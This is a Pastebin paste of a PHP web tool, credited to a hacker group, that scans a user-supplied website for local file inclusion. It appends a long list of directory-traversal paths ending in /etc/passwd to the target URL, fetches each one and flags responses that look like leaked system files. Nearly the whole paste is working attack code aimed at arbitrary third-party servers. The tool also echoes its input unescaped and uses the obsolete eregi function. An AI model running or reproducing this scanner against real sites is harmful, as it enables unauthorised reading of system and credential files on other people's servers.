Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <!DOCTYPE html>
- <html>
- <!--
- Coded By Colder !
- AnarchyGhost[BR]
- Facebook: https://www.facebook.com/cold3rghostman
- Team: https://www.facebook.com.br/AnarquiaFantasma
- Skype: colder.ghostman
- -->
- <head>
- <title>Verify LFI</title>
- <meta charset="utf-8"/>
- <link href='https://fonts.googleapis.com/css?family=Montserrat' rel='stylesheet' type='text/css'>
- <style type="text/css">
- h1 {
- margin-top: -3px;
- color: lime;
- }
- body {
- font-family: 'Montserrat', sans-serif;
- background: black;
- }
- input[type="text"] {
- height: 42px;
- width: 300px;
- text-align: center;
- font-size: 15px;
- background: black;
- color: lime;
- border-color: lime;
- }
- input[type="submit"] {
- background: #222;
- width: 50px;
- height: 49px;
- border-color: lime;
- }
- a {
- text-decoration: none;
- }
- </style>
- </head>
- <body>
- <fieldset>
- <center>
- <h1>Verify Local File Inclusion</h1>
- <form method="POST">
- <input type="text" name="site" placeholder="Site: ">
- <input type="submit" value=">>">
- </center>
- <br>
- <?php
- if(isset($_POST["site"])) {
- $site = $_POST["site"];
- echo "<hr>";
- $fails = ["/etc/passwd","../etc/passwd","../../etc/passwd","../../../etc/passwd","../../../../etc/passwd","../../../../../etc/passwd","../../../../../../etc/passwd","../../../../../../../etc/passwd","../../../../../../../../etc/passwd","../../../../../../../../../etc/passwd","../../../../../../../../../../etc/passwd","../../../../../../../../../../../etc/passwd","../../../../../../../../../../../../etc/passwd","../../../../../../../../../../../../../etc/passwd","../../../../../../../../../../../../../../etc/passwd","../../../../../../../../../../../../../../../etc/passwd","../../../../../../../../../../../../../../../../etc/passwd","../../../../../../../../../../../../../../../../../etc/passwd","../../../../../../../../../../../../../../../../../../etc/passwd","../../../../../../../../../../../../../../../../../../../etc/passwd","../../../../../../../../../../../../../../../../../../../../etc/passwd","../../../../../../../../../../../../../../../../../../../../../etc/passwd","../../../../../../../../../../../../../../../../../../../../../../etc/passwd","../../../../../../../../../../../../../../../../../../../../../../../etc/passwd","../../../../../../../../../../../../../../../../../../../../../../../../etc/passwd"];
- foreach($fails as $values) {
- $var = $site.$values;
- $file = file_get_contents($var);
- if(eregi('root',$file) or eregi('bin',$file) or eregi('ftp',$file) or eregi('System',$file)) {
- echo "<a href='$var' target='_blanck'><font color='blue'>[+] $var</font></a>" . "<br>";
- }else {
- echo "<a href='$var' target='_blanck'><font color='red'>[-] $var</font></a>" . "<br>";
- }
- }
- echo "<hr>";
- }
- ?>
- </form>
- </fieldset>
- </body>
- </html>
Advertisement
Add Comment
Please, Sign In to add comment